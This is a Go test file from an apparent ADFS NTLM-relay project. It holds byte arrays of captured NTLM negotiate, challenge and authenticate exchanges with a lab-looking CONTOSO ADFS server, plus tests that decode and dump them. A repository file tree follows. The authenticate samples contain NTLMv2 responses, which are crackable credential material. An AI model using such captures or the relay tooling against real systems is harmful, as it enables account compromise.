0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e,
0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0a, 0x00,
0x10, 0x00, 0x63, 0x2e, 0xc8, 0xcc, 0x4f, 0xfa, 0xd9, 0xd4, 0x9d, 0xa0, 0x63, 0xe2, 0x71, 0xa1,
0x25, 0x9c, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00,
0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00,
0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,
0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00,
0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00,
0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x70, 0x00, 0x72, 0x00, 0x61, 0x00, 0x65, 0x00, 0x74, 0x00,
0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x73, 0x00,
0x6d, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x66, 0x00, 0x6f, 0x00,
0x72, 0x00, 0x6d, 0x00, 0x2e, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00,
}
// SampleC was collected from a Windows 10 client running Google Chrome authenticating to an ADFS
// server running on Windows Server 2019 with BurpSuite proxying the requests
NegotiateMessageBytesSampleC = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,
}
ChallengeMessageBytesSampleC = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0x8a, 0xbb, 0xb6, 0x84, 0x7e, 0x27, 0x76, 0xb4,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01,
0x00, 0x00, 0x00, 0x00,
}
AuthenticateMessageBytesSampleC = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,
0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2,
0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xa9, 0xf5, 0x3b, 0x37, 0xbf, 0xc9, 0x49, 0x75,
0x5f, 0x21, 0xd2, 0xaf, 0x94, 0x8b, 0xdc, 0x42, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00,
0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,
0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xeb, 0x30, 0x1f, 0xab, 0x4f, 0x37, 0x4d,
0x79, 0x59, 0x28, 0x73, 0x38, 0x51, 0x19, 0x3b, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0xc9, 0x74, 0x65, 0x45, 0xb9, 0xdd, 0xf7, 0x35,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x06, 0x00,
0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x1a, 0x38, 0x76, 0xf8, 0x9c,
0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0,
0xd6, 0x96, 0x37, 0x81, 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0xe3, 0x7e,
0x10, 0x35, 0xd8, 0x9e, 0x56, 0xb4, 0x6e, 0x3a, 0x70, 0x03, 0xc8, 0x1f, 0x54, 0x48, 0x09, 0x00,
0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00,
0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,
0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00,
0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xd7, 0xa2, 0x6d, 0x26, 0xeb, 0x99, 0x27,
0xb7, 0x53, 0x5e, 0x64, 0x5d, 0x59, 0xc7, 0x14,
}
// SampleD was collected from a Windows 10 system running Microsoft Edge in Internet Explorer mode
// with Fiddler being leveraged to intercept TLS traffic sent by the client.
NegotiateMessageBytesSampleD = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x61, 0x4a,
0x00, 0x00, 0x00, 0x0,
}
ChallengeMessageBytesSampleD = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00,
0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2,
0xe3, 0x52, 0x63, 0x2b, 0x6f, 0xae, 0xd1, 0xf5, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00,
0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,
0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00,
0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00,
0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00,
0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00,
0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00,
0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00,
0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,
0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 0x85, 0xe8,
0xf7, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00,
}
AuthenticateMessageBytesSampleD = []byte{
0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00,
0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01,
0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00,
0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,
0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00,
0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,
0xec, 0x52, 0xec, 0x01, 0xff, 0x08, 0x19, 0xd5, 0xca, 0x96, 0xc8, 0x42,
0xb3, 0xe8, 0x75, 0xb6, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,
0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00,
0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,
0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00,
0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x62, 0x4e, 0xef, 0x9e, 0xf2, 0x90, 0x71, 0x08,
0xf4, 0x67, 0x7e, 0x42, 0x7a, 0x89, 0xee, 0x2e, 0x01, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01,
0xaf, 0xd2, 0xa4, 0xbb, 0xe2, 0x24, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00,
0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00,
0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00,
0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,
0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00,
0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00,
0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,
0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00,
0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91,
0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00,
0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x14, 0x1a,
0x38, 0x76, 0xf8, 0x9c, 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64,
0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 0xd6, 0x96, 0x37, 0x81,
0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0x34, 0xb4,
0xc6, 0x93, 0xe6, 0x05, 0xec, 0xf5, 0x37, 0x4d, 0xf9, 0x5a, 0xac, 0xa2,
0x6b, 0xf3, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00,
0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00,
0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,
0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,
0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00,
0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xeb, 0xdf, 0x0e, 0xc1, 0xf7, 0xde, 0xb8, 0x3c,
0x1c, 0xfe, 0x69, 0x25, 0xf7, 0x22, 0x16, 0x5a,
}
)
func TestDecodeNegotiateMessageSampleA(t *testing.T) {
var err error
NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding negotiate message: %v", err)
}
spew.Dump(NegotiateMessage)
}
func TestDecodeChallengeMessageSampleA(t *testing.T) {
var err error
ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(ChallengeMessage)
}
func TestDecodeAuthenticateMessageSampleA(t *testing.T) {
var err error
AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(AuthenticateMessage)
}
func TestDecodeNegotiateMessageSampleB(t *testing.T) {
var err error
NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding negotiate message: %v", err)
}
spew.Dump(NegotiateMessage)
}
func TestDecodeChallengeMessageSampleB(t *testing.T) {
var err error
ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(ChallengeMessage)
}
func TestDecodeAuthenticateMessageSampleB(t *testing.T) {
var err error
AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(AuthenticateMessage)
}
func TestDecodeNegotiateMessageSampleC(t *testing.T) {
var err error
NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding negotiate message: %v", err)
}
spew.Dump(NegotiateMessage)
}
func TestDecodeChallengeMessageSampleC(t *testing.T) {
var err error
ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(ChallengeMessage)
}
func TestDecodeAuthenticateMessageSampleC(t *testing.T) {
var err error
AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(*AuthenticateMessage)
}
func TestDecodeNegotiateMessageSampleD(t *testing.T) {
var err error
NegotiateMessage, err := DecodeNegotiateMessage(NegotiateMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding negotiate message: %v", err)
}
spew.Dump(NegotiateMessage)
}
func TestDecodeChallengeMessageSampleD(t *testing.T) {
var err error
ChallengeMessage, err := DecodeChallengeMessage(ChallengeMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(ChallengeMessage)
}
func TestDecodeAuthenticateMessageSampleD(t *testing.T) {
var err error
AuthenticateMessage, err := DecodeAuthenticateMessage(AuthenticateMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding challenge message: %v", err)
}
spew.Dump(*AuthenticateMessage)
}
func TestFullDecodeSampleA(t *testing.T) {
decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedNegotiateMessage.(type) {
case *NEGOTIATE_MESSAGE:
spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
}
decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedChallengeMessage.(type) {
case *CHALLENGE_MESSAGE:
spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
}
decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleA)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedAuthenticateMessage.(type) {
case *AUTHENTICATE_MESSAGE:
spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
}
}
func TestFullDecodeSampleB(t *testing.T) {
decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedNegotiateMessage.(type) {
case *NEGOTIATE_MESSAGE:
spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
}
decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedChallengeMessage.(type) {
case *CHALLENGE_MESSAGE:
spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
}
decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleB)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedAuthenticateMessage.(type) {
case *AUTHENTICATE_MESSAGE:
spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
}
}
func TestFullDecodeSampleC(t *testing.T) {
decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedNegotiateMessage.(type) {
case *NEGOTIATE_MESSAGE:
spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
}
decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedChallengeMessage.(type) {
case *CHALLENGE_MESSAGE:
spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
}
decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleC)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedAuthenticateMessage.(type) {
case *AUTHENTICATE_MESSAGE:
spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
}
}
func TestFullDecodeSampleD(t *testing.T) {
decodedNegotiateMessage, err := DecodeMessage(NegotiateMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedNegotiateMessage.(type) {
case *NEGOTIATE_MESSAGE:
spew.Dump(*(decodedNegotiateMessage.(*NEGOTIATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *NEGOTIATE_MESSAGE, got : %T", v)
}
decodedChallengeMessage, err := DecodeMessage(ChallengeMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedChallengeMessage.(type) {
case *CHALLENGE_MESSAGE:
spew.Dump(*(decodedChallengeMessage.(*CHALLENGE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *CHALLENGE_MESSAGE, got : %T", v)
}
decodedAuthenticateMessage, err := DecodeMessage(AuthenticateMessageBytesSampleD)
if err != nil {
t.Errorf("error decoding message: %v", err)
return
}
switch v := decodedAuthenticateMessage.(type) {
case *AUTHENTICATE_MESSAGE:
spew.Dump(*(decodedAuthenticateMessage.(*AUTHENTICATE_MESSAGE)))
default:
t.Errorf("did not properly identify message as a *AUTHENTICATE_MESSAGE, got : %T", v)
}
}
gitextract_wftfh0c1/
├── .github/
│ └── workflows/
│ └── release.yml
├── .gitignore
├── LICENSE
├── README.md
├── cmd/
│ ├── ADFSRelay/
│ │ └── ADFSRelay.go
│ └── NTLMParse/
│ └── NTLMParse.go
├── go.mod
├── go.sum
└── pkg/
├── cookies/
│ ├── datatypes.go
│ └── export.go
└── ntlm/
├── datatypes.go
├── debug.go
├── decoder.go
├── ntlm.go
└── ntlm_test.go
SYMBOL INDEX (66 symbols across 9 files)
FILE: cmd/ADFSRelay/ADFSRelay.go
